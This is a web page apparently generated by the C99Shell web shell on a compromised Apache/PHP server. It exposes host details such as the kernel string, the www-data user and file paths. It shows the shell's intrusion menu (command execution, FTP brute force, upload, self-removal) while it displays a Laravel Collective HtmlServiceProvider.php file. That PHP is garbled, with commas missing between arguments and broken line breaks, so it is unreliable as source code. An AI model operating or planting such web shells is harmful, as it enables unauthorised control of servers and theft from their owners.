!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/laravelcollective/html/src/   drwxr-xr-x
Free 13.04 GB of 57.97 GB (22.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HtmlServiceProvider.php (3.06 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Collective\Html;

use 
Illuminate\Contracts\Support\DeferrableProvider;
use 
Illuminate\Support\ServiceProvider;
use 
Illuminate\Support\Str;
use 
Illuminate\View\Compilers\BladeCompiler;

class 
HtmlServiceProvider extends ServiceProvider implements DeferrableProvider
{
    
/**
     * Supported Blade Directives
     *
     * @var array
     */
    
protected $directives = ['entities','decode','script','style','image','favicon','link','secureLink','linkAsset','linkSecureAsset','linkRoute','linkAction','mailto','email','ol','ul','dl','meta','tag','open','model','close','token','label','input','text','password','hidden','email','tel','number','date','datetime','datetimeLocal','time','url','file','textarea','select','selectRange','selectYear','selectMonth','getSelectOption','checkbox','radio','reset','image','color','submit','button','old'
    
];

    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
$this->registerHtmlBuilder();

        
$this->registerFormBuilder();

        
$this->app->alias('html'HtmlBuilder::class);
        
$this->app->alias('form'FormBuilder::class);

        
$this->registerBladeDirectives();
    }

    
/**
     * Register the HTML builder instance.
     *
     * @return void
     */
    
protected function registerHtmlBuilder()
    {
        
$this->app->singleton('html', function ($app) {
            return new 
HtmlBuilder($app['url'], $app['view']);
        });
    }

    
/**
     * Register the form builder instance.
     *
     * @return void
     */
    
protected function registerFormBuilder()
    {
        
$this->app->singleton('form', function ($app) {
            
$form = new FormBuilder($app['html'], $app['url'], $app['view'], $app['session.store']->token(), $app['request']);

            return 
$form->setSessionStore($app['session.store']);
        });
    }

    
/**
     * Register Blade directives.
     *
     * @return void
     */
    
protected function registerBladeDirectives()
    {
        
$this->app->afterResolving('blade.compiler', function (BladeCompiler $bladeCompiler) {
            
$namespaces = [
                
'Html' => get_class_methods(HtmlBuilder::class),
                
'Form' => get_class_methods(FormBuilder::class),
            ];

            foreach (
$namespaces as $namespace => $methods) {
                foreach (
$methods as $method) {
                    if (
in_array($method$this->directives)) {
                        
$snakeMethod Str::snake($method);
                        
$directive strtolower($namespace).'_'.$snakeMethod;

                        
$bladeCompiler->directive($directive, function ($expression) use ($namespace$method) {
                            return 
"<?php echo $namespace::$method($expression); ?>";
                        });
                    }
                }
            }
        });
    }

    
/**
     * Get the services provided by the provider.
     *
     * @return array
     */
    
public function provides()
    {
        return [
'html''form'HtmlBuilder::class, FormBuilder::class];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.007 ]--